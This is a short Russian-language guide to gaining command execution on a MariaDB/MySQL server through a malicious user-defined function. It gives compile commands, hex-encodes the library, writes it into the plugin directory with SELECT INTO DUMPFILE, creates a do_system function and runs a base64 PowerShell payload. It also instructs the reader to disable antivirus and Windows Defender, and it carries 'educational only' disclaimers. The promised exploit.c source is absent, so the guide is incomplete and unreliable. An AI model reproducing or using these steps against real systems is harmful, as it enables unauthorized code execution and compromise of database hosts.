
Database authenticated code execution
Это руководство содержит пошаговые инструкции по воспроизведению атаки с использованием пользовательской функции (UDF) на систему базы данных. Обратите внимание, что этот эксплойт может работать на некоторых системах, но может некорректно функционировать в 64-битных архитектурах или некоторых сборках.
Предупреждение: Данный материал предназначен только для образовательных целей. Несанкционированное использование этих методов является незаконным и неэтичным.
Сначала создайте файл с именем exploit.c и добавьте следующий код:
### 2. Компиляция кода UDF
Скомпилируйте код эксплойта с помощью компилятора `x86_64-w64-mingw32-gcc`:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
Создайте файл разделяемой библиотеки (exploit.so) из скомпилированного объектного файла:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Используйте xxd для преобразования файла .so в шестнадцатеричный формат:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Скопируйте шестнадцатеричное значение из hex_value.txt и выполните следующую команду в вашей базе данных:
DB> set @shell = 0x<hex_value>;
Найдите каталог плагинов, выполнив:
DB> select @@plugin_dir;
Затем создайте разделяемую библиотеку эксплойта в каталоге плагинов:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Примечание: Откорректируйте путь в соответствии с конфигурацией вашей системы или конкретным каталогом плагинов.
Создайте новую функцию в базе данных, используя эксплойт:
DB> create function do_system returns integer soname 'exploit.so';
Отключите любое антивирусное ПО или Защитник Windows, которые могут блокировать эксплойт. Затем выполните команду с помощью только что созданной функции:
DB> select do_system('powershell base64 here');
Замените 'powershell base64 here' на base64-закодированную полезную нагрузку команды, которую вы хотите выполнить.
Отказ от ответственности: Данный документ предназначен только для образовательных целей и исследований в области безопасности. Неправильное использование этой информации может привести к уголовной ответственности и серьезным правовым последствиям. Всегда получайте разрешение от соответствующих органов перед тестированием любых уязвимостей в сети или системе.